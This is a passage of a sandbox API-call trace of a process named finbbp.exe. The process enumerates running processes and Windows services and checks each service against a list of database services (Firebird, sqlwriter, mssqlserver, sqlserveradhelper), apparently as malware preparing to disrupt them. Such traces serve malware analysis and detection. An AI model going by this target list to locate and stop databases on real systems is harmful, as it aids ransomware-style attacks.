(lpString="conhost.exe") returned 11 [0093.937] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0093.938] lstrlenW (lpString="conhost.exe") returned 11 [0093.938] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0093.939] lstrlenW (lpString="svchost.exe") returned 11 [0093.939] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0093.940] lstrlenW (lpString="finbbp.exe") returned 10 [0093.940] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0093.940] lstrlenW (lpString="dllhost.exe") returned 11 [0093.940] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0093.941] lstrlenW (lpString="cmd.exe") returned 7 [0093.941] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0093.942] lstrlenW (lpString="conhost.exe") returned 11 [0093.942] Process32NextW (in: hSnapshot=0x2b8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0093.943] CloseHandle (hObject=0x2b8) returned 1 [0093.943] Sleep (dwMilliseconds=0x1f4) [0094.749] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4eeb60 [0094.750] EnumServicesStatusExW (in: hSCManager=0x4eeb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 0 [0094.752] GetLastError () returned 0xea [0094.752] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1ce8) returned 0x5a17e0 [0094.752] EnumServicesStatusExW (in: hSCManager=0x4eeb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a17e0, cbBufSize=0x1ce8, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a17e0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 1 [0094.754] CloseServiceHandle (hSCObject=0x4eeb60) returned 1 [0094.754] lstrlenW (lpString="Appinfo") returned 7 [0094.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0094.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0094.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0094.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0094.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0094.754] lstrlenW (lpString="AppXSvc") returned 7 [0094.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0094.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0094.754] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0094.754] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0094.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0094.754] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0094.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0094.755] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0094.755] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0094.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0094.755] lstrlenW (lpString="Audiosrv") returned 8 [0094.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0094.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0094.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0094.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0094.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0094.755] lstrlenW (lpString="BFE") returned 3 [0094.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0094.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0094.755] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0094.755] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0094.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0094.755] lstrlenW (lpString="BITS") returned 4 [0094.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0094.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0094.755] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0094.755] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0094.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0094.755] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0094.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0094.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0094.756] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0094.756] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0094.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0094.756] lstrlenW (lpString="CDPSvc") returned 6 [0094.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0094.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0094.756] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0094.756] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0094.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0094.756] lstrlenW (lpString="ClickToRunSvc") returned 13 [0094.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0094.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0094.756] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0094.756] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0094.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0094.756] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0094.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0094.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0094.756] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0094.756] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0094.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0094.756] lstrlenW (lpString="CryptSvc") returned 8 [0094.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0094.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0094.756] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0094.756] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0094.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0094.757] lstrlenW (lpString="DcomLaunch") returned 10 [0094.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0094.757] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0094.757] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0094.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0094.757] lstrlenW (lpString="DeviceAssociationService") returned 24 [0094.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0094.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0094.757] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0094.757] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0094.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0094.757] lstrlenW (lpString="Dhcp") returned 4 [0094.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0094.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0094.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0094.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0094.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0094.757] lstrlenW (lpString="Dnscache") returned 8 [0094.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0094.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0094.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0094.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0094.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0094.757] lstrlenW (lpString="DoSvc") returned 5 [0094.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0094.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0094.758] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0094.758] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0094.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0094.758] lstrlenW (lpString="DPS") returned 3 [0094.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0094.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0094.758] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0094.758] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0094.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0094.758] lstrlenW (lpString="DusmSvc") returned 7 [0094.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0094.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0094.758] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0094.758] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0094.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0094.758] lstrlenW (lpString="EventLog") returned 8 [0094.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0094.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0094.758] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0094.758] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0094.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0094.758] lstrlenW (lpString="EventSystem") returned 11 [0094.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0094.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0094.758] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0094.759] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0094.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0094.759] lstrlenW (lpString="FontCache") returned 9 [0094.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0094.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0094.759] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0094.759] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0094.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0094.759] lstrlenW (lpString="gpsvc") returned 5 [0094.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0094.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0094.759] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0094.759] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0094.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0094.759] lstrlenW (lpString="iphlpsvc") returned 8 [0094.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0094.759] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0094.759] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0094.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0094.759] lstrlenW (lpString="KeyIso") returned 6 [0094.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0094.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0094.759] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0094.759] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0094.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0094.760] lstrlenW (lpString="LanmanServer") returned 12 [0094.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0094.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0094.760] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0094.760] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0094.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0094.760] lstrlenW (lpString="LanmanWorkstation") returned 17 [0094.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0094.760] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0094.760] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0094.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0094.760] lstrlenW (lpString="lfsvc") returned 5 [0094.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0094.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0094.760] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0094.760] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0094.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0094.760] lstrlenW (lpString="lmhosts") returned 7 [0094.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0094.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0094.760] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0094.760] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0094.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0094.760] lstrlenW (lpString="LSM") returned 3 [0094.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0094.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0094.761] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0094.761] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0094.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0094.761] lstrlenW (lpString="MapsBroker") returned 10 [0094.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0094.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0094.761] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0094.761] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0094.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0094.761] lstrlenW (lpString="MpsSvc") returned 6 [0094.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0094.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0094.761] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0094.761] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0094.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0094.761] lstrlenW (lpString="NcbService") returned 10 [0094.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0094.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0094.761] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0094.761] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0094.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0094.761] lstrlenW (lpString="netprofm") returned 8 [0094.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0094.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0094.761] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0094.762] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0094.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0094.762] lstrlenW (lpString="NlaSvc") returned 6 [0094.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0094.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0094.762] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0094.762] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0094.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0094.762] lstrlenW (lpString="nsi") returned 3 [0094.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0096.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0096.565] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0096.565] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0096.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0096.566] lstrlenW (lpString="PcaSvc") returned 6 [0096.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0096.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0096.566] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0096.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0096.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0096.566] lstrlenW (lpString="PlugPlay") returned 8 [0096.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0096.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0096.566] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0096.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0096.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0096.566] lstrlenW (lpString="Power") returned 5 [0096.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0096.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0096.566] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0096.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0096.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0096.566] lstrlenW (lpString="ProfSvc") returned 7 [0096.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0096.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0096.566] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0096.566] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0096.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0096.566] lstrlenW (lpString="RpcEptMapper") returned 12 [0096.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0096.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0096.566] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0096.566] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0096.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0096.566] lstrlenW (lpString="RpcSs") returned 5 [0096.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0096.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0096.567] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0096.567] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0096.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0096.567] lstrlenW (lpString="SamSs") returned 5 [0096.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0096.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0096.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0096.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0096.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0096.567] lstrlenW (lpString="Schedule") returned 8 [0096.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0096.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0096.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0096.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0096.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0096.567] lstrlenW (lpString="SecurityHealthService") returned 21 [0096.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0096.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0096.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0096.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0096.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0096.567] lstrlenW (lpString="SENS") returned 4 [0096.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0096.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0096.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0096.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0096.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0096.567] lstrlenW (lpString="ShellHWDetection") returned 16 [0096.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0096.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0096.568] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0096.568] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0096.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0096.568] lstrlenW (lpString="Spooler") returned 7 [0096.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0096.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0096.568] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0096.568] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0096.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0096.568] lstrlenW (lpString="SSDPSRV") returned 7 [0096.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0096.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0096.568] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0096.568] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0096.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned 